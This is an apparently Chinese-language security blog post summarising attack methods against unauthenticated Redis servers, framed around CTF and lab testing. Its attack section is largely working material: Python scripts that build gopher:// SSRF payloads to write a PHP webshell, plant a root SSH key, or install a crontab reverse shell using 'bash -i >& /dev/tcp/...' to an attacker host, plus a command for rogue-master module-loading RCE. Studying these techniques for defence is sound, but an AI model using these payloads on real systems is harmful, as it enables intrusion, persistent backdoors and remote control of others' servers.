Virtua1's blog

Redis攻击面总结

字数统计: 3.5k阅读时长: 14 min
2019/12/13 Share

Redis未授权问题已经是一个很老的安全问题,一直没有好好总结下,正好最近CTF中遇到了redis的问题,特此总结下redis的攻击面。redis未授权的危害性不言而喻,在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大。本篇就总结下redis传统攻击方式以及新的利用方法。

基础知识

什么是Redis

Remote Dictionary Server 远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

Redis是当前使用最广泛的NoSQL之一,而就Redis技术而言,它的性能十分优越,可以支持每秒十几万此的读/写操作,其性能远超数据库,并且还支持集群、分布式、主从同步等配置,原则上可以无限扩展,让更多的数据存储在内存中,更让人欣慰的是它还支持一定的事务能力,这保证了高并发的场景下数据的安全和一致性。

Redis版本历史

主要列出4版本的特性其他版本参考:Redis版本历史介绍

1
1.Redis2.6
2
Redis2.6在2012年正式发布,经历了17个版本,到2.6.17版本
3
4
2.Redis2.8
5
Redis2.8在2013年11月22日正式发布,经历了24个版本,到2.8.24版本
6
7
3.Redis3.0
8
Redis3.0在2015年4月1日正式发布
9
注意
10
Redis3.0最大的改动就是添加Redis的分布式实现Redis Cluster,填补了Redis官方没有分布式实现的空白。
11
12
4.Redis3.2
13
Redis3.2在2016年5月6日正式发布
14
15
5.Redis4.0
16
可能出乎很多人的意料,Redis3.2之后的版本是4.0,而不是3.4、3.6、3.8。一般这种重大版本号的升级也意味着软件或者工具本身发生了重大变革,Redis发布了4.0-RC2,下面列出Redis4.0的新特性:
17
1)提供了模块系统,方便第三方开发者拓展Redis的功能,更多模块详见:
18
2)PSYNC2.0:优化了之前版本中,主从节点切换必然引起全量复制的问题。
19
3)提供了新的缓存剔除算法:LFU(Last Frequently Used),并对已有算法进行了优化。
20
4)提供了非阻塞del和flushall/flushdb功能,有效解决删除bigkey可能造成的Redis阻塞。
21
5)提供了RDB-AOF混合持久化格式,充分利用了AOF和RDB各自优势。
22
6)提供memory命令,实现对内存更为全面的监控统计。
23
7)提供了交互数据库功能,实现Redis内部数据库之间的数据置换。
24
8)Redis Cluster兼容NAT和Docker。

Redis使用

CONFIG SET 命令可以动态地调整 Redis 服务器的配置(configuration)而无须重启

CONFIG GET dir 获取redis目录

CONFIG GET dbfilename 获取rdb文件名

SET,GET 设置和查看一个 key 的 value

SLAVEOF 命令为 redis 设置主服务器

Redis协议

redis支持两种传输协议,一种是明文传输,其命令如下:

1
SET keyname value\n

另一种是经过编码的传输协议:

1
*3\r\n$3\r\nSET\r\n$7\r\nkeyname\r\n$5\r\nval
2
ue\r\n

Redis Serialization Protocol (Redis序列化协议)

https://redis.io/topics/protocol

该协议是用于与Redis服务器通信的

环境搭建

采用在线安装的方法://本地测试ubuntu16 在线安装的版本为 3.0.6

1
sudo apt-get -f install
2
sudo apt-get install redis-server

后续实验用到redis5 所以下载安装 //遇到一堆坑,百度可以一个个解决

1
wget http://download.redis.io/releases/redis-5.0.5.tar.gz
2
tar xzf redis-5.0.5.tar.gz
3
sudo mkdir /usr/local/redis-5.0.0
4
sudo mkdir /etc/redis-5.0.0
5
sudo cp -r redis-5.0.5/* /usr/local/redis-5.0.0/
6
cd  /usr/local/redis-5.0.0
7
sudo make
8
sudo make test
9
sudo make install 
10
cp redis.conf /etc/redis-5.0.0/
11
ls /etc/redis-5.0.0/redis.conf
12
cd /etc/redis-5.0.0 
13
vim redis.conf
14
cd /usr/local/redis-5.0.0
15
redis-server /etc/redis-5.0.0/redis.conf

注意:每次make失败都要make distclean 清空下失败的结果

redis3.2版本后新增 protected-mode 配置,默认是 yes,即开启,外部网络无法连接 redis 服务。

搭建漏洞测试环境需要修改redis.conf:protected-mode改为 no

要想从外部网络连接需要注释掉 bind 127.0.0.1

启动服务:redis-server /etc/redis-5.0.0/redis.conf

然后就可以从外部网络连接 redis 服务

1
redis-cli -h 192.168.164.137

攻击面分析

Redis因配置不当可以未授权访问,未授权访问造成敏感信息泄露、任意数据删除、执行lua代码、写入后门文件、给root账户写入SSH公钥文件,直接ssh登陆服务器。

测试环境:

靶机:ubuntu16 redis 5.0.5

攻击机:windows redis 3.2.100

1.Redis未授权访问的攻击方法

Redis未授权访问的攻击由来已久,在配置错误的情况下,Redis被绑定在0.0.0.0或者暴露在公网的情况下。这个时候任何人都可以在未授权的情况下,对Redis数据库进行操作!默认安装的情况下,Redis是没有密码的。

安全配置在 redis.conf

1
bind 127.0.0.1

默认绑定在127.0.0.1,但是错误配置注释掉或者改为0.0.0.0就会造成外网未授权访问。

因为默认绑定在127.0.0.1,所以照样可以结合SSRF攻击内网Redis,默认没有密码。

注意:3.2版本之前不存在protected-mode,3.2之后存在protected-mode配置,默认为yes,即外部网络不可访问。

2. Redis里存储的序列化数据利用

Redis存储反序列化数据在SWPUCTF的一道题目考到过

Redis中经常会存储各种序列化后的数据,Python相关的站点就可能将经过 Pickle、Yaml 序列化后的数据存储在 Redis 里。还有一些缓存的库可能就直接选择序列化后存入 Redis 中。SWPUCTF中的题目就是python的session存储于Redis数据库中,Redis存在弱密码造成未授权访问,所以就可以控制Redis中session的值,直接修改 Redis 中序列化后的数据,改为恶意payload,然后访问网站反序列化时造成任意命令执行。

p牛的一个经典案例:掌阅iReader某站Python漏洞挖掘

恶意payload生成分析:Python Pickle的任意代码执行漏洞实践和Payload构造

3. 使用绝对路径写文件getshell

这是应用最多的一个思路,Redis可以通过config命令向固定路径的文件写入内容,这个功能被利用来向指定文件写入恶意内容。

当Redis服务直接暴露在公网我们可以直接利用,但是大多数情况还是要结合SSRF,然后如果可以利用Gopher协议,就可以发送GET,POST请求。Redis使用RESP协议进行通信,所以要把数据格式转换为RESP数据包相应的格式利用漏洞。

协议文档:Redis Protocol specification

几个重要的点:

1
In RESP different parts of the protocol are always terminated with "\r\n" (CRLF).

数据转化脚本:

1
# -*-coding:utf-8
2
import urllib
3
protocol="gopher://"
4
ip="127.0.0.1"
5
port="6379"
6
shell="\n\n<?php eval($_GET[\"v\"]);?>\n\n"
7
filename="vshell.php"
8
path="/var/www/html"
9
passwd=""
10
cmd=["flushall",
11
     "set xxx {}".format(shell.replace(" ","${IFS}")),
12
     "config set dir {}".format(path),
13
     "config set dbfilename {}".format(filename),
14
     "save"
15
     ]
16
if passwd:
17
    cmd.insert(0,"AUTH {}".format(passwd))
18
payload=protocol+ip+":"+port+"/_"
19
def redis_format(arr):
20
    CRLF="\r\n"
21
    redis_arr = arr.split(" ")
22
    cmd=""
23
    cmd+="*"+str(len(redis_arr))
24
    for x in redis_arr:
25
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
26
    cmd+=CRLF
27
    return cmd
28
29
if __name__=="__main__":
30
    for x in cmd:
31
        #print redis_format(x)
32
        payload += urllib.quote(redis_format(x))
33
    print payload

4.Redis写入SSH公钥登陆服务器

当Redis的是以root权限运行的,并且.ssh目录存在,尝试写入~/.ssh/authorized_keys,如果不存在的话,可以使用crontab创建。成功写入需要关闭保护模式protected-mode no,如果开启保护模式的话,未经认证的用户是不允许执行恶意命令的。

本地生成公钥对:

1
ssh-keygen -t rsa //空密码

将公钥写入文件:

1
(echo -e "\n\n"; cat rsa.pub; echo -e "\n\n") > temp.txt

写入缓存:

1
cat temp.txt | redis-cli -h 192.168.164.137 -x set xxx

写入公钥:

1
config set dir /root/.ssh/
2
config set dbfilename authorized_keys
3
save

利用本地私钥无密码连接:

1
sudo ssh -i rsa root@192.168.164.137

转化格式:

1
# -*-coding:utf-8
2
import urllib
3
protocol="gopher://"
4
ip=""
5
port="6379"
6
ssh_pub="\n\nSSH公钥\n\n"
7
filename="authorized_keys"
8
path="/root/.ssh/"
9
passwd=""
10
cmd=["flushall",
11
     "set 1 {}".format(ssh_pub.replace(" ","${IFS}")),
12
     "config set dir {}".format(path),
13
     "config set dbfilename {}".format(filename),
14
     "save"
15
     ]
16
if passwd:
17
    cmd.insert(0,"AUTH {}".format(passwd))
18
payload=protocol+ip+":"+port+"/_"
19
def redis_format(arr):
20
    CRLF="\r\n"
21
    redis_arr = arr.split(" ")
22
    cmd=""
23
    cmd+="*"+str(len(redis_arr))
24
    for x in redis_arr:
25
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
26
    cmd+=CRLF
27
    return cmd
28
29
if __name__=="__main__":
30
    for x in cmd:
31
        payload += urllib.quote(redis_format(x))
32
    print payload

5.使用contrab计划任务反弹shell

这种方法由于权限问题,通常只能在Centos使用,Ubuntu却不行。因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件权限必须是600,否则会报错。而Centos的定时任务执行,权限为644也可以。

Centos的定时任务文件在/var/spool/cron/,另外/etc/crontab这个文件虽然也可以执行定时任务,但是需要root,在高版本的Redis中,默认启动是以Redis权限运行的。

可以通过下列命令组合,来实现反弹shell

1
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/vps/port 0>&1\n\n'
2
config set dir /var/spool/cron/
3
config set dbfilename root
4
save

转化格式:

1
# -*-coding:utf-8
2
import urllib
3
protocol="gopher://"
4
ip=''
5
port='6379'
6
reverse_ip=""
7
reverse_port="4444"
8
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
9
filename="root"
10
path="/var/spool/cron"
11
passwd=""
12
cmd=["flushall",
13
     "set 1 {}".format(cron.replace(" ","${IFS}")),
14
     "config set dir {}".format(path),
15
     "config set dbfilename {}".format(filename),
16
     "save"
17
     ]
18
if passwd:
19
    cmd.insert(0,"AUTH {}".format(passwd))
20
payload=protocol+ip+":"+port+"/_"
21
def redis_format(arr):
22
    CRLF="\r\n"
23
    redis_arr = arr.split(" ")
24
    cmd=""
25
    cmd+="*"+str(len(redis_arr))
26
    for x in redis_arr:
27
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
28
    cmd+=CRLF
29
    return cmd
30
31
if __name__=="__main__":
32
    for x in cmd:
33
        payload += urllib.quote(redis_format(x))
34
    print payload

6.主从复制 GetShell

随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,docker就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除redis以外的任何服务存在,包括ssh和crontab,再加上权限的严格控制,只靠写文件就很难再getshell了,在这种情况下,我们就需要其他的利用手段了–使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

(1)主从复制

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

简单来说就是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。

建立主从节点,只需要操作从节点即可,主节点,不需要任何设置。

这里在一台主机开启两个Redis实例:

主节点:127.0.0.1 6380

从节点:192.168.164.137 6379

设置主节点:

主节点写数据:

从节点复制数据测试:

(2)Redis模块

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。Redis模块是动态库,可以在启动时或使用MODULE LOAD命令加载到Redis中。

编写恶意so文件的代码:

https://github.com/RicterZ/RedisModules-ExecuteCommand

(3)利用原理

Pavel Toporkov在2018年的zeronights会议上分享了漏洞的原理,参考:

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

简单来说就是利用新版本redis主从复制的模式和加载模块的功能,要攻击的Redis就是从节点服务器,攻击从节点服务器需要搭建恶意主节点服务器。

(4)漏洞复现

模拟恶意主节点服务器,并模拟fullresync(全量复制)请求:

Redis Rogue Server

redis-rogue-getshell

利用恶意主节点服务器将so文件加载加载到从节点服务器上,攻击从服务器,执行任意命令。

1
python3 redis-master.py -r 192.168.164.137 -p 6379 -L 127.0.0.1 -P 6380 -f RedisModulesSDK/exp.so -c "id"

参考

Redis多维度角度下的攻击面

Redis 基于主从复制的 RCE 利用方式

redis rce

redis-rogue-getshell

CATALOG
  1. 1. 基础知识
    1. 1.1. 什么是Redis
    2. 1.2. Redis版本历史
    3. 1.3. Redis使用
    4. 1.4. Redis协议
    5. 1.5. 环境搭建
  2. 2. 攻击面分析
    1. 2.1. 1.Redis未授权访问的攻击方法
    2. 2.2. 2. Redis里存储的序列化数据利用
    3. 2.3. 3. 使用绝对路径写文件getshell
    4. 2.4. 4.Redis写入SSH公钥登陆服务器
    5. 2.5. 5.使用contrab计划任务反弹shell
    6. 2.6. 6.主从复制 GetShell
      1. 2.6.1. (1)主从复制
      2. 2.6.2. (2)Redis模块
      3. 2.6.3. (3)利用原理
      4. 2.6.4. (4)漏洞复现
  3. 3. 参考